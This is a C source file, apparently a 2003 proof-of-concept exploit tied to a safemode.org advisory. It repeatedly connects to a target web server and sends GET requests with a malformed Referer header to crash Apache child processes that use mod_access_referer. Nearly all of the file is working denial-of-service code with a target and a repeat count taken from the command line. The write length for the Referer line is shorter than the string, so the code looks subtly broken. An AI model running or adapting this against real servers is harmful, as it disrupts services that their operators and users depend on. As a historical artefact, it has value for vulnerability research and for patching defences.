/*
 * Stupid program to let Apache childs processes using the mod_access_referer module crash
 *
 * Advisory at http://safemode.org
 * 
 * zillion[at]safemode.org (03/2003)
 * 
 *
 */

#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <errno.h>

int connection(char* host, int port)
{
  struct sockaddr_in s_in;
  int sock;
  
  s_in.sin_family = AF_INET;
  s_in.sin_addr.s_addr = inet_addr(host);
  s_in.sin_port = htons(port);
  
  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) <= 0) {
    printf("Sorry, could not create a socket\n");
    exit(1);
  }
  
  if (connect(sock, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) {
    printf("Connection to %s:%d failed: %s\n", host, port, strerror(errno));
    exit(1);
  }
  return sock;
}

void usage(char *progname) {
        printf("Usage: %s -t <target> [-d <directory]\n",progname);
        exit(1);
}

int main  (int argc, char **argv) {
   int arg,fd,i,amount=1;
   char *target, *dir="/test/";

   if(argc < 2) {
      usage(argv[0]);
   }

   while ((arg = getopt (argc, argv, "d:a:t:")) != -1){
    switch (arg){
    case 't':
      target = optarg;   
      break;
    case 'd':
      dir = optarg;   
      break;
    case 'a':
      amount = atoi(optarg);
      break;
    default:
      usage(argv[0]);
    }
  }
  
   for(i = 0; i<amount;i++) {
   fd = connection(target,80);
   write(fd,"GET ",4);
   write(fd,dir,strlen(dir));
   write(fd," HTTP/1.0\n",10);
   write(fd,"Referer: ://www.p00p.com\n\n",18);
   close(fd);
   }
}